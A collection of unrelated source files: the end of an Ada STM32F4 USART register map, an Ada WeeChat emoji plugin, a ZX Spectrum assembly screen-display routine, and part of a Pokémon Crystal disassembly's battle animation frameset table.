Odd_Parity -- Parity bit is set when even number of data bits is set, cleared otherwise
);
for Parity use (
Even_Parity => 2#0#,
Odd_Parity => 2#1#
);
-- Wakeup method field
type Wakeup_Method is (
Idle_Line, -- Wakeup on IDLE line detect
Address_Mark -- Wakeup on address mark detect
);
for Wakeup_Method use (
Idle_Line => 2#0#,
Address_Mark => 2#1#
);
-- Data word length
type Word_Length is (
Word_8_Bits, -- Data word (with parity bit if enabled) consists of 8 bits
Word_9_Bits -- Data word (with parity bit if enabled) consists of 9 bits
);
for Word_Length use (
Word_8_Bits => 2#0#,
Word_9_Bits => 2#1#
);
type Control_Register_1 is record
SBK: Boolean; -- Send break
RWU: Boolean; -- Receiver wakeup
RE: Boolean; -- Receiver enable
TE: Boolean; -- Trnsmitter enable
IDLEIE: Boolean; -- IDLE interrupt enable
RXNEIE: Boolean; -- RXNE interrupt enable
TCIE: Boolean; -- Transmission complete interrupt enable
TXEIE: Boolean; -- TXE interrupt enable
PEIE: Boolean; -- PE interrupt enable
PS: Parity; -- Parity selection
PCE: Boolean; -- Parity control enable
WAKE: Wakeup_Method; -- Wakeup method
M: Word_Length; -- Word length
UE: Boolean; -- USART enable
Reserved_14: Integer range 0 .. 2**1 - 1;
OVER8: Boolean; -- Oversampling mode
Reserved: Integer range 0 .. 2**16 - 1;
end record with Size => 32;
for Control_Register_1 use record
SBK at 0 range 0 .. 0;
RWU at 0 range 1 .. 1;
RE at 0 range 2 .. 2;
TE at 0 range 3 .. 3;
IDLEIE at 0 range 4 .. 4;
RXNEIE at 0 range 5 .. 5;
TCIE at 0 range 6 .. 6;
TXEIE at 0 range 7 .. 7;
PEIE at 0 range 8 .. 8;
PS at 0 range 9 .. 9;
PCE at 0 range 10 .. 10;
WAKE at 0 range 11 .. 11;
M at 0 range 12 .. 12;
UE at 0 range 13 .. 13;
Reserved_14 at 0 range 14 .. 14;
OVER8 at 0 range 15 .. 15;
Reserved at 0 range 16 .. 31;
end record;
-- Line break detection length
type Lin_Break_Detection_Length is (
Lin_10_Bit_Break_Detection, -- 10 bits break is detected
Lin_11_Bit_Break_Detection -- 11 bits break is detected
);
for Lin_Break_Detection_Length use (
LIN_10_Bit_Break_Detection => 2#0#,
LIN_11_Bit_Break_Detection => 2#1#
);
type Clock_Phase is (
First_Edge_Capture, -- Data captured on first clock edge
Second_Edge_Capture -- Deta set on first clock edge, captured on second edge
);
for Clock_Phase use (
First_Edge_Capture => 2#0#,
Second_Edge_Capture => 2#1#
);
type Clock_Polarity is (
Positive_Pulse, -- Steady low value on CK outside transmission window
Negative_Pulse -- Steady high value on CK outside transmission window
);
for Clock_Polarity use (
Positive_Pulse => 2#0#,
Negative_Pulse => 2#1#
);
-- Number of stop bits
type Stop_Bit_Count is(
Stop_1_Bit, -- 1 stop bit
Stop_0_5_Bits, -- 0.5 stop bits
Stop_2_Bits, -- 2 stop bits
Stop_1_5_Bits -- 1.5 stop bits
);
for Stop_Bit_Count use (
Stop_1_Bit => 2#00#,
Stop_0_5_Bits => 2#01#,
Stop_2_Bits => 2#10#,
Stop_1_5_Bits => 2#11#
);
type Control_Register_2 is record
ADD: Integer range 0 .. 2**4 - 1; -- Address of the USART node
Reserved_4: Integer range 0 .. 1;
LBDL: LIN_Break_Detection_Length; -- LIN break detection length selection
LBDIE: Boolean; -- LIN break detection interrupt enable
Reserved_7: Integer range 0 .. 1;
LBCL: Boolean; -- Last bit clock pulse output (this bit is not available for UART4 and UART5)
CPHA: Clock_Phase; -- Clock phase
CPOL: Clock_Polarity; -- Clock polarity
CLKEN: Boolean; -- Clock enable
STOP: Stop_Bit_Count; -- STOP bits
LINEN: Boolean; -- LIN mode enable
Reserved: Integer range 0 .. 2**17 - 1;
end record with Size => 32;
for Control_Register_2 use record
ADD at 0 range 0 .. 3;
Reserved_4 at 0 range 4 .. 4;
LBDL at 0 range 5 .. 5;
LBDIE at 0 range 6 .. 6;
Reserved_7 at 0 range 7 .. 7;
LBCL at 0 range 8 .. 8;
CPHA at 0 range 9 .. 9;
CPOL at 0 range 10 .. 10;
CLKEN at 0 range 11 .. 11;
STOP at 0 range 12 .. 13;
LINEN at 0 range 14 .. 14;
Reserved at 0 range 15 .. 31;
end record;
type Control_Register_3 is record
EIE: Boolean; -- Error interrupt enable
IREN: Boolean; -- IrDA mode enable
IRLP: Boolean; -- IrDA low power
HDSEL: Boolean; -- Half duplex selection
NACK: Boolean; -- Smartcard NACK enable
SCEN: Boolean; -- Smartcard mode enable
DMAR: Boolean; -- DMA enable receiver
DMAT: Boolean; -- DMA enable transmitter
RTSE: Boolean; -- RTS enable
CTSE: Boolean; -- CTS enable
CTSIE: Boolean; -- CTS interrupt enable
ONEBIT: Boolean; -- One bit sampling enable
Reserved: Integer range 0 .. 2 ** 20 - 1;
end record with Size => 32;
for Control_Register_3 use record
EIE at 0 range 0 .. 0;
IREN at 0 range 1 .. 1;
IRLP at 0 range 2 .. 2;
HDSEL at 0 range 3 .. 3;
NACK at 0 range 4 .. 4;
SCEN at 0 range 5 .. 5;
DMAR at 0 range 6 .. 6;
DMAT at 0 range 7 .. 7;
RTSE at 0 range 8 .. 8;
CTSE at 0 range 9 .. 9;
CTSIE at 0 range 10 .. 10;
ONEBIT at 0 range 11 .. 11;
Reserved at 0 range 12 .. 31;
end record;
type Guard_Time_and_Prescaler_Register is record
PSC: Integer range 0 .. 2**8 - 1; -- Prescaler value
GT: Integer range 0 .. 2**8 - 1; -- Guard time value in baud clocks
Reserved: Integer range 0 .. 2**16 - 1;
end record with Size => 32;
for Guard_Time_and_Prescaler_Register use record
PSC at 0 range 0 .. 7;
GT at 0 range 8 .. 15;
Reserved at 0 range 16 .. 31;
end record;
type USART_Registers is record
SR: Status_Register; -- Status register
DR: Unsigned_32; -- Data register
BRR: Baud_Rate_Register; -- Baud rate register
CR1: Control_Register_1; -- Control register 1
CR2: Control_Register_2; -- Control register 2
CR3: Control_Register_3; -- Control register 3
GTPR: Guard_Time_and_Prescaler_Register; -- Guard time and prescaler register
end record with Volatile;
for USART_Registers use record
SR at 16#00# range 0 .. 31;
DR at 16#04# range 0 .. 31;
BRR at 16#08# range 0 .. 31;
CR1 at 16#0C# range 0 .. 31;
CR2 at 16#10# range 0 .. 31;
CR3 at 16#14# range 0 .. 31;
GTPR at 16#18# range 0 .. 31;
end record;
end STM32.F4.USART;
|
src/plugin_emoji.adb | onox/weechat-emoji | 1 | 10574 | -- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2020 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with System;
with Interfaces.C;
with WeeChat;
with Emojis;
package body Plugin_Emoji is
use WeeChat;
use type SU.Unbounded_String;
function On_Print_Modifier
(Plugin : Plugin_Ptr;
Modifier : String;
Modifier_Data : String;
Text : String) return String is
begin
return Emojis.Replace (Text);
end On_Print_Modifier;
function On_Input_Text_Content_Modifier
(Plugin : Plugin_Ptr;
Modifier : String;
Modifier_Data : String;
Text : String) return String is
begin
return Emojis.Replace (Text, Completions => Emojis.Lower_Case_Text_Emojis);
end On_Input_Text_Content_Modifier;
function On_Emoji_Completion
(Plugin : Plugin_Ptr;
Item : String;
Buffer : Buffer_Ptr;
Completion : Completion_Ptr) return Callback_Result is
begin
for Label of Emojis.Labels loop
Add_Completion_Word (Plugin, Completion, ":" & (+Label) & ":");
end loop;
return OK;
end On_Emoji_Completion;
procedure Plugin_Initialize (Plugin : Plugin_Ptr) is
Option : constant Config_Option :=
Get_Config_Option (Plugin, "weechat.completion.default_template");
begin
On_Modifier (Plugin, "weechat_print", On_Print_Modifier'Access);
On_Modifier (Plugin, "input_text_content", On_Input_Text_Content_Modifier'Access);
On_Completion (Plugin, "emoji_names", "Complete :emoji:", On_Emoji_Completion'Access);
if SF.Index (WeeChat.Value (Option), "emoji_names") = 0 then
declare
Result : constant Option_Set :=
Set (Option, WeeChat.Value (Option) & "|%(emoji_names)");
begin
pragma Assert (Result /= Error);
end;
end if;
end Plugin_Initialize;
procedure Plugin_Finalize (Plugin : Plugin_Ptr) is null;
Plugin_Name : constant C_String := "emoji" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_name";
Plugin_Author : constant C_String := "onox" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_author";
Plugin_Description : constant C_String := "Displays emojis with Ada 2012" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_description";
Plugin_Version : constant C_String := "1.0" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_version";
Plugin_License : constant C_String := "Apache-2.0" & L1.NUL
with Export, Convention => C, External_Name => "weechat_plugin_license";
Plugin_API_Version : constant String := WeeChat.Plugin_API_Version
with Export, Convention => C, External_Name => "weechat_plugin_api_version";
function Plugin_Init
(Object : Plugin_Ptr;
Argc : Interfaces.C.int;
Argv : System.Address) return Callback_Result
with Export, Convention => C, External_Name => "weechat_plugin_init";
function Plugin_End (Object : Plugin_Ptr) return Callback_Result
with Export, Convention => C, External_Name => "weechat_plugin_end";
function Plugin_Init
(Object : Plugin_Ptr;
Argc : Interfaces.C.int;
Argv : System.Address) return Callback_Result is
begin
return Plugin_Init (Object, Plugin_Initialize'Access);
end Plugin_Init;
function Plugin_End (Object : Plugin_Ptr) return Callback_Result is
begin
return Plugin_End (Object, Plugin_Finalize'Access);
end Plugin_End;
end Plugin_Emoji;
|
loaders_patches_etc/screen_output_coliseum.asm | alexanderbazhenoff/zx-spectrum-various | 0 | 240758 | ORG #9C40
SCRBUF EQU #C000
DISPLAY "OUTPUT SCR FOR COLISEUM"
DI
LD HL,SCREEN
LD DE,SCRBUF
LD BC,#C020
LOOP PUSH BC
PUSH DE
LOOP1 LD A,(HL)
LD (DE),A
INC HL
CALL DOWNL
DJNZ LOOP1
POP DE
INC DE
POP BC
DEC C
JR NZ,LOOP
LD DE,SCRBUF+#1800
LD B,3
LDIR
LD B,3
SCR_OL1 PUSH BC
LD IX,ADRTABL
EI
HALT
LD B,8
SCR_OL2 PUSH BC
LD A,0
COUNTER EQU $-1
OR A
JR NZ,NO_PA
LD E,(IX+2)
LD D,(IX+3)
EX DE,HL
LD BC,#20
PUSH BC
PUSH HL
ADD HL,BC
EX DE,HL
LD (IX+2),E
LD (IX+3),D
POP BC
LD HL,#5800
LD DE,SCRBUF+#1800
ADD HL,BC
EX DE,HL
ADD HL,BC
POP BC
LDIR
NO_PA AND #1F
JR NZ,NO_NL
JR NO_NL
NL_S EQU $-1
LD E,(IX)
LD D,(IX+1)
EX DE,HL
LD BC,#20
OR A
SBC HL,BC
EX DE,HL
CALL DOWNL
LD (IX),E
LD (IX+1),D
NO_NL LD HL,#4000
LD DE,SCRBUF
LD C,(IX)
LD B,(IX+1)
PUSH BC
ADD HL,BC
EX DE,HL
ADD HL,BC
POP BC
INC BC
LD (IX),C
LD (IX+1),B
LD A,(HL)
LD (DE),A
INC IX
INC IX
INC IX
INC IX
POP BC
DJNZ SCR_OL2
LD A,(COUNTER)
INC A
LD (COUNTER),A
XOR A
LD (NL_S),A
POP BC
DEC BC
LD A,#7F
IN A,(#FE)
RRA
JR NC,FASTOUT
LD A,B
OR C
JP NZ,SCR_OL1
FASTOUT LD HL,SCRBUF+#1800
LD DE,#5800
LD BC,#300
LDIR
LD HL,SCRBUF
LD DE,#4000
LD BC,#1800
LDIR
RET
DOWNL INC D
LD A,D
AND 7
RET NZ
LD A,E
ADD A,#20
LD E,A
RET C
LD A,D
SUB 8
LD D,A
RET
ADRTABL DW 0
DW 0
DW #20*3
DW #20*3
DW #20*6
DW #20*6
DW #20+#800
DW #20*9
DW #20*4+#800
DW #20*12
DW #20*7+#800
DW #20*15
DW #20*2+#1000
DW #20*18
DW #20*5+#1000
DW #20*21
SCREEN INCBIN "PICTURE"
ENDSCR DISPLAY /D,"End obj: ",ENDSCR
|
data/battle_anims/framesets.asm | Dev727/ancientplatinum | 28 | 19125 | <gh_stars>10-100
BattleAnimFrameData:
; entries correspond to BATTLEANIMFRAMESET_* constants
dw .Frameset_00 ; BATTLEANIMFRAMESET_00
dw .Frameset_01 ; BATTLEANIMFRAMESET_01
dw .Frameset_02 ; BATTLEANIMFRAMESET_02
dw .Frameset_03 ; BATTLEANIMFRAMESET_03
dw .Frameset_04 ; BATTLEANIMFRAMESET_04
dw .Frameset_05 ; BATTLEANIMFRAMESET_05
dw .Frameset_06 ; BATTLEANIMFRAMESET_06
dw .Frameset_07 ; BATTLEANIMFRAMESET_07
dw .Frameset_08 ; BATTLEANIMFRAMESET_08
dw .Frameset_09 ; BATTLEANIMFRAMESET_09
dw .Frameset_0a ; BATTLEANIMFRAMESET_0A
dw .Frameset_0b ; BATTLEANIMFRAMESET_0B
dw .Frameset_0c ; BATTLEANIMFRAMESET_0C
dw .Frameset_0d ; BATTLEANIMFRAMESET_0D
dw .Frameset_0e ; BATTLEANIMFRAMESET_0E
dw .Frameset_0f ; BATTLEANIMFRAMESET_0F
dw .Frameset_10 ; BATTLEANIMFRAMESET_10
dw .Frameset_11 ; BATTLEANIMFRAMESET_11
dw .Frameset_12 ; BATTLEANIMFRAMESET_12
dw .Frameset_13 ; BATTLEANIMFRAMESET_13
dw .Frameset_14 ; BATTLEANIMFRAMESET_14
dw .Frameset_15 ; BATTLEANIMFRAMESET_15
dw .Frameset_16 ; BATTLEANIMFRAMESET_16
dw .Frameset_17 ; BATTLEANIMFRAMESET_17
dw .Frameset_18 ; BATTLEANIMFRAMESET_18
dw .Frameset_19 ; BATTLEANIMFRAMESET_19
dw .Frameset_1a ; BATTLEANIMFRAMESET_1A
dw .Frameset_1b ; BATTLEANIMFRAMESET_1B
dw .Frameset_1c ; BATTLEANIMFRAMESET_1C
dw .Frameset_1d ; BATTLEANIMFRAMESET_1D
dw .Frameset_1e ; BATTLEANIMFRAMESET_1E
dw .Frameset_1f ; BATTLEANIMFRAMESET_1F
dw .Frameset_20 ; BATTLEANIMFRAMESET_20
dw .Frameset_21 ; BATTLEANIMFRAMESET_21
dw .Frameset_22 ; BATTLEANIMFRAMESET_22
dw .Frameset_23 ; BATTLEANIMFRAMESET_23
dw .Frameset_24 ; BATTLEANIMFRAMESET_24
dw .Frameset_25 ; BATTLEANIMFRAMESET_25
dw .Frameset_26 ; BATTLEANIMFRAMESET_26
dw .Frameset_27 ; BATTLEANIMFRAMESET_27
dw .Frameset_28 ; BATTLEANIMFRAMESET_28
dw .Frameset_29 ; BATTLEANIMFRAMESET_29
dw .Frameset_2a ; BATTLEANIMFRAMESET_2A
dw .Frameset_2b ; BATTLEANIMFRAMESET_2B
dw .Frameset_2c ; BATTLEANIMFRAMESET_2C
dw .Frameset_2d ; BATTLEANIMFRAMESET_2D
dw .Frameset_2e ; BATTLEANIMFRAMESET_2E
dw .Frameset_2f ; BATTLEANIMFRAMESET_2F
dw .Frameset_30 ; BATTLEANIMFRAMESET_30
dw .Frameset_31 ; BATTLEANIMFRAMESET_31
dw .Frameset_32 ; BATTLEANIMFRAMESET_32
dw .Frameset_33 ; BATTLEANIMFRAMESET_33
dw .Frameset_34 ; BATTLEANIMFRAMESET_34
dw .Frameset_35 ; BATTLEANIMFRAMESET_35
dw .Frameset_36 ; BATTLEANIMFRAMESET_36
dw .Frameset_37 ; BATTLEANIMFRAMESET_37
dw .Frameset_38 ; BATTLEANIMFRAMESET_38
dw .Frameset_39 ; BATTLEANIMFRAMESET_39
dw .Frameset_3a ; BATTLEANIMFRAMESET_3A
dw .Frameset_3b ; BATTLEANIMFRAMESET_3B
dw .Frameset_3c ; BATTLEANIMFRAMESET_3C
dw .Frameset_3d ; BATTLEANIMFRAMESET_3D
dw .Frameset_3e ; BATTLEANIMFRAMESET_3E
dw .Frameset_3f ; BATTLEANIMFRAMESET_3F
dw .Frameset_40 ; BATTLEANIMFRAMESET_40
dw .Frameset_41 ; BATTLEANIMFRAMESET_41
dw .Frameset_42 ; BATTLEANIMFRAMESET_42
dw .Frameset_43 ; BATTLEANIMFRAMESET_43
dw .Frameset_44 ; BATTLEANIMFRAMESET_44
dw .Frameset_45 ; BATTLEANIMFRAMESET_45
dw .Frameset_46 ; BATTLEANIMFRAMESET_46
dw .Frameset_47 ; BATTLEANIMFRAMESET_47
dw .Frameset_48 ; BATTLEANIMFRAMESET_48
dw .Frameset_49 ; BATTLEANIMFRAMESET_49
dw .Frameset_4a ; BATTLEANIMFRAMESET_4A
dw .Frameset_4b ; BATTLEANIMFRAMESET_4B
dw .Frameset_4c ; BATTLEANIMFRAMESET_4C
dw .Frameset_4d ; BATTLEANIMFRAMESET_4D
dw .Frameset_4e ; BATTLEANIMFRAMESET_4E
dw .Frameset_4f ; BATTLEANIMFRAMESET_4F
dw .Frameset_50 ; BATTLEANIMFRAMESET_50
dw .Frameset_51 ; BATTLEANIMFRAMESET_51
dw .Frameset_52 ; BATTLEANIMFRAMESET_52
dw .Frameset_53 ; BATTLEANIMFRAMESET_53
dw .Frameset_54 ; BATTLEANIMFRAMESET_54
dw .Frameset_55 ; BATTLEANIMFRAMESET_55
dw .Frameset_56 ; BATTLEANIMFRAMESET_56
dw .Frameset_57 ; BATTLEANIMFRAMESET_57
dw .Frameset_58 ; BATTLEANIMFRAMESET_58
dw .Frameset_59 ; BATTLEANIMFRAMESET_59
dw .Frameset_5a ; BATTLEANIMFRAMESET_5A
dw .Frameset_5b ; BATTLEANIMFRAMESET_5B
dw .Frameset_5c ; BATTLEANIMFRAMESET_5C
dw .Frameset_5d ; BATTLEANIMFRAMESET_5D
dw .Frameset_5e ; BATTLEANIMFRAMESET_5E
dw .Frameset_5f ; BATTLEANIMFRAMESET_5F
dw .Frameset_60 ; BATTLEANIMFRAMESET_60
dw .Frameset_61 ; BATTLEANIMFRAMESET_61
dw .Frameset_62 ; BATTLEANIMFRAMESET_62
dw .Frameset_63 ; BATTLEANIMFRAMESET_63
dw .Frameset_64 ; BATTLEANIMFRAMESET_64
dw .Frameset_65 ; BATTLEANIMFRAMESET_65
dw .Frameset_66 ; BATTLEANIMFRAMESET_66
dw .Frameset_67 ; BATTLEANIMFRAMESET_67
dw .Frameset_68 ; BATTLEANIMFRAMESET_68
dw .Frameset_69 ; BATTLEANIMFRAMESET_69
dw .Frameset_6a ; BATTLEANIMFRAMESET_6A
dw .Frameset_6b ; BATTLEANIMFRAMESET_6B
dw .Frameset_6c ; BATTLEANIMFRAMESET_6C
dw .Frameset_6d ; BATTLEANIMFRAMESET_6D
dw .Frameset_6e ; BATTLEANIMFRAMESET_6E
dw .Frameset_6f ; BATTLEANIMFRAMESET_6F
dw .Frameset_70 ; BATTLEANIMFRAMESET_70
dw .Frameset_71 ; BATTLEANIMFRAMESET_71
dw .Frameset_72 ; BATTLEANIMFRAMESET_72
dw .Frameset_73 ; BATTLEANIMFRAMESET_73
dw .Frameset_74 ; BATTLEANIMFRAMESET_74
dw .Frameset_75 ; BATTLEANIMFRAMESET_75
dw .Frameset_76 ; BATTLEANIMFRAMESET_76
dw .Frameset_77 ; BATTLEANIMFRAMESET_77
dw .Frameset_78 ; BATTLEANIMFRAMESET_78
dw .Frameset_79 ; BATTLEANIMFRAMESET_79
dw .Frameset_7a ; BATTLEANIMFRAMESET_7A
dw .Frameset_7b ; BATTLEANIMFRAMESET_7B
dw .Frameset_7c ; BATTLEANIMFRAMESET_7C
dw .Frameset_7d ; BATTLEANIMFRAMESET_7D
dw .Frameset_7e ; BATTLEANIMFRAMESET_7E
dw .Frameset_7f ; BATTLEANIMFRAMESET_7F
dw .Frameset_80 ; BATTLEANIMFRAMESET_80
dw .Frameset_81 ; BATTLEANIMFRAMESET_81
dw .Frameset_82 ; BATTLEANIMFRAMESET_82
dw .Frameset_83 ; BATTLEANIMFRAMESET_83
dw .Frameset_84 ; BATTLEANIMFRAMESET_84
dw .Frameset_85 ; BATTLEANIMFRAMESET_85
dw .Frameset_86 ; BATTLEANIMFRAMESET_86
dw .Frameset_87 ; BATTLEANIMFRAMESET_87
dw .Frameset_88 ; BATTLEANIMFRAMESET_88
dw .Frameset_89 ; BATTLEANIMFRAMESET_89
dw .Frameset_8a ; BATTLEANIMFRAMESET_8A
dw .Frameset_8b ; BATTLEANIMFRAMESET_8B
dw .Frameset_8c ; BATTLEANIMFRAMESET_8C
dw .Frameset_8d ; BATTLEANIMFRAMESET_8D
dw .Frameset_8e ; BATTLEANIMFRAMESET_8E
dw .Frameset_8f ; BATTLEANIMFRAMESET_8F
dw .Frameset_90 ; BATTLEANIMFRAMESET_90
dw .Frameset_91 ; BATTLEANIMFRAMESET_91
dw .Frameset_92 ; BATTLEANIMFRAMESET_92
dw .Frameset_93 ; BATTLEANIMFRAMESET_93
dw .Frameset_94 ; BATTLEANIMFRAMESET_94
dw .Frameset_95 ; BATTLEANIMFRAMESET_95
dw .Frameset_96 ; BATTLEANIMFRAMESET_96
dw .Frameset_97 ; BATTLEANIMFRAMESET_97
dw .Frameset_98 ; BATTLEANIMFRAMESET_98
dw .Frameset_99 ; BATTLEANIMFRAMESET_99
dw .Frameset_9a ; BATTLEANIMFRAMESET_9A
dw .Frameset_9b ; BATTLEANIMFRAMESET_9B
dw .Frameset_9c ; BATTLEANIMFRAMESET_9C
dw .Frameset_9d ; BATTLEANIMFRAMESET_9D
dw .Frameset_9e ; BATTLEANIMFRAMESET_9E
dw .Frameset_9f ; BATTLEANIMFRAMESET_9F
dw .Frameset_a0 ; BATTLEANIMFRAMESET_A0
dw .Frameset_a1 ; BATTLEANIMFRAMESET_A1
dw .Frameset_a2 ; BATTLEANIMFRAMESET_A2
dw .Frameset_a3 ; BATTLEANIMFRAMESET_A3
dw .Frameset_a4 ; BATTLEANIMFRAMESET_A4
dw .Frameset_a5 ; BATTLEANIMFRAMESET_A5
dw .Frameset_a6 ; BATTLEANIMFRAMESET_A6
dw .Frameset_a7 ; BATTLEANIMFRAMESET_A7
dw .Frameset_a8 ; BATTLEANIMFRAMESET_A8
dw .Frameset_a9 ; BATTLEANIMFRAMESET_A9
dw .Frameset_aa ; BATTLEANIMFRAMESET_AA
dw .Frameset_ab ; BATTLEANIMFRAMESET_AB
dw .Frameset_ac ; BATTLEANIMFRAMESET_AC
dw .Frameset_ad ; BATTLEANIMFRAMESET_AD
dw .Frameset_ae ; BATTLEANIMFRAMESET_AE
dw .Frameset_af ; BATTLEANIMFRAMESET_AF
dw .Frameset_b0 ; BATTLEANIMFRAMESET_B0
dw .Frameset_b1 ; BATTLEANIMFRAMESET_B1
dw .Frameset_b2 ; BATTLEANIMFRAMESET_B2
dw .Frameset_b3 ; BATTLEANIMFRAMESET_B3
dw .Frameset_b4 ; BATTLEANIMFRAMESET_B4
dw .Frameset_b5 ; BATTLEANIMFRAMESET_B5
dw .Frameset_b6 ; BATTLEANIMFRAMESET_B6
dw .Frameset_b7 ; BATTLEANIMFRAMESET_B7
dw .Frameset_b8 ; BATTLEANIMFRAMESET_B8
.Frameset_00:
frame BATTLEANIMOAMSET_00, 6
delanim
.Frameset_01:
frame BATTLEANIMOAMSET_01, 6
delanim
.Frameset_02:
frame BATTLEANIMOAMSET_02, 6
delanim
.Frameset_03:
frame BATTLEANIMOAMSET_03, 6
delanim
.Frameset_04:
frame BATTLEANIMOAMSET_04, 6
delanim
.Frameset_05:
frame BATTLEANIMOAMSET_05, 6
delanim
.Frameset_06:
frame BATTLEANIMOAMSET_06, 6
delanim
.Frameset_07:
frame BATTLEANIMOAMSET_03, 4
frame BATTLEANIMOAMSET_01, 1
frame BATTLEANIMOAMSET_03, 4
frame BATTLEANIMOAMSET_01, 1
frame BATTLEANIMOAMSET_03, 4
frame BATTLEANIMOAMSET_01, 1
frame BATTLEANIMOAMSET_03, 4
frame BATTLEANIMOAMSET_01, 1
delanim
.Frameset_3e:
frame BATTLEANIMOAMSET_4B, 2
frame BATTLEANIMOAMSET_4C, 2
frame BATTLEANIMOAMSET_4D, 4
frame BATTLEANIMOAMSET_4E, 2
dowait 2
frame BATTLEANIMOAMSET_4E, 2
dowait 2
frame BATTLEANIMOAMSET_4E, 2
dowait 2
frame BATTLEANIMOAMSET_4E, 2
delanim
.Frameset_3f:
frame BATTLEANIMOAMSET_4B, 2, OAM_X_FLIP
frame BATTLEANIMOAMSET_4C, 2, OAM_X_FLIP
frame BATTLEANIMOAMSET_4D, 4, OAM_X_FLIP
frame BATTLEANIMOAMSET_4E, 2, OAM_X_FLIP
dowait 2
frame BATTLEANIMOAMSET_4E, 2, OAM_X_FLIP
dowait 2
frame BATTLEANIMOAMSET_4E, 2, OAM_X_FLIP
dowait 2
frame BATTLEANIMOAMSET_4E, 2, OAM_X_FLIP
delanim
.Frameset_40:
frame BATTLEANIMOAMSET_4B, 2, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_4C, 2, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_4D, 4, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_4E, 2, OAM_X_FLIP, OAM_Y_FLIP
dowait 2
frame BATTLEANIMOAMSET_4E, 2, OAM_X_FLIP, OAM_Y_FLIP
dowait 2
frame BATTLEANIMOAMSET_4E, 2, OAM_X_FLIP, OAM_Y_FLIP
dowait 2
frame BATTLEANIMOAMSET_4E, 2, OAM_X_FLIP, OAM_Y_FLIP
delanim
.Frameset_41:
frame BATTLEANIMOAMSET_4B, 1
frame BATTLEANIMOAMSET_4C, 1
frame BATTLEANIMOAMSET_4D, 1
frame BATTLEANIMOAMSET_4F, 1
frame BATTLEANIMOAMSET_50, 1
frame BATTLEANIMOAMSET_51, 1
frame BATTLEANIMOAMSET_52, 2
dowait 2
frame BATTLEANIMOAMSET_52, 2
dowait 2
frame BATTLEANIMOAMSET_52, 2
dowait 2
frame BATTLEANIMOAMSET_52, 2
delanim
.Frameset_42:
frame BATTLEANIMOAMSET_4B, 1, OAM_X_FLIP
frame BATTLEANIMOAMSET_4C, 1, OAM_X_FLIP
frame BATTLEANIMOAMSET_4D, 1, OAM_X_FLIP
frame BATTLEANIMOAMSET_4F, 1, OAM_X_FLIP
frame BATTLEANIMOAMSET_50, 1, OAM_X_FLIP
frame BATTLEANIMOAMSET_51, 1, OAM_X_FLIP
frame BATTLEANIMOAMSET_52, 2, OAM_X_FLIP
dowait 2
frame BATTLEANIMOAMSET_52, 2, OAM_X_FLIP
dowait 2
frame BATTLEANIMOAMSET_52, 2, OAM_X_FLIP
dowait 2
frame BATTLEANIMOAMSET_52, 2, OAM_X_FLIP
delanim
.Frameset_08:
frame BATTLEANIMOAMSET_00, 3
frame BATTLEANIMOAMSET_07, 3
frame BATTLEANIMOAMSET_08, 3
frame BATTLEANIMOAMSET_09, 3
delanim
.Frameset_09:
frame BATTLEANIMOAMSET_0A, 7
frame BATTLEANIMOAMSET_0B, 7
frame BATTLEANIMOAMSET_0A, 7
frame BATTLEANIMOAMSET_0B, 7, OAM_X_FLIP
dorestart
.Frameset_0a:
frame BATTLEANIMOAMSET_0C, 8
endanim
.Frameset_0b:
frame BATTLEANIMOAMSET_0D, 8
endanim
.Frameset_0c:
frame BATTLEANIMOAMSET_0A, 8
endanim
.Frameset_0d:
frame BATTLEANIMOAMSET_0A, 7
frame BATTLEANIMOAMSET_0B, 7
frame BATTLEANIMOAMSET_0A, 7
frame BATTLEANIMOAMSET_0B, 7, OAM_X_FLIP
frame BATTLEANIMOAMSET_0A, 7
endanim
.Frameset_0e:
frame BATTLEANIMOAMSET_0A, 8
endanim
.Frameset_0f:
frame BATTLEANIMOAMSET_0A, 4
frame BATTLEANIMOAMSET_0E, 4
dorestart
.Frameset_10:
frame BATTLEANIMOAMSET_0F, 4
frame BATTLEANIMOAMSET_10, 4
dorestart
.Frameset_11:
frame BATTLEANIMOAMSET_10, 4
frame BATTLEANIMOAMSET_0F, 4
frame BATTLEANIMOAMSET_0E, 4
frame BATTLEANIMOAMSET_0A, 4
frame BATTLEANIMOAMSET_0E, 4
frame BATTLEANIMOAMSET_0A, 4
frame BATTLEANIMOAMSET_0E, 4
frame BATTLEANIMOAMSET_0A, 4
delanim
.Frameset_12:
frame BATTLEANIMOAMSET_10, 1
frame BATTLEANIMOAMSET_0F, 1
frame BATTLEANIMOAMSET_12, 1
frame BATTLEANIMOAMSET_11, 1
frame BATTLEANIMOAMSET_12, 1
frame BATTLEANIMOAMSET_0F, 1
dorestart
.Frameset_13:
frame BATTLEANIMOAMSET_10, 3
frame BATTLEANIMOAMSET_0F, 3
frame BATTLEANIMOAMSET_12, 1
dowait 1
frame BATTLEANIMOAMSET_12, 1
dowait 1
frame BATTLEANIMOAMSET_12, 1
dowait 1
frame BATTLEANIMOAMSET_12, 1
dowait 1
frame BATTLEANIMOAMSET_12, 3
delanim
.Frameset_14:
frame BATTLEANIMOAMSET_13, 20
delanim
.Frameset_15:
frame BATTLEANIMOAMSET_10, 1
frame BATTLEANIMOAMSET_0F, 1
dorestart
.Frameset_16:
frame BATTLEANIMOAMSET_14, 8
endanim
.Frameset_17:
frame BATTLEANIMOAMSET_17, 4
frame BATTLEANIMOAMSET_16, 8
frame BATTLEANIMOAMSET_15, 8
frame BATTLEANIMOAMSET_16, 8
frame BATTLEANIMOAMSET_17, 4
frame BATTLEANIMOAMSET_17, 4
frame BATTLEANIMOAMSET_16, 8, OAM_X_FLIP
frame BATTLEANIMOAMSET_15, 8, OAM_X_FLIP
frame BATTLEANIMOAMSET_16, 8, OAM_X_FLIP
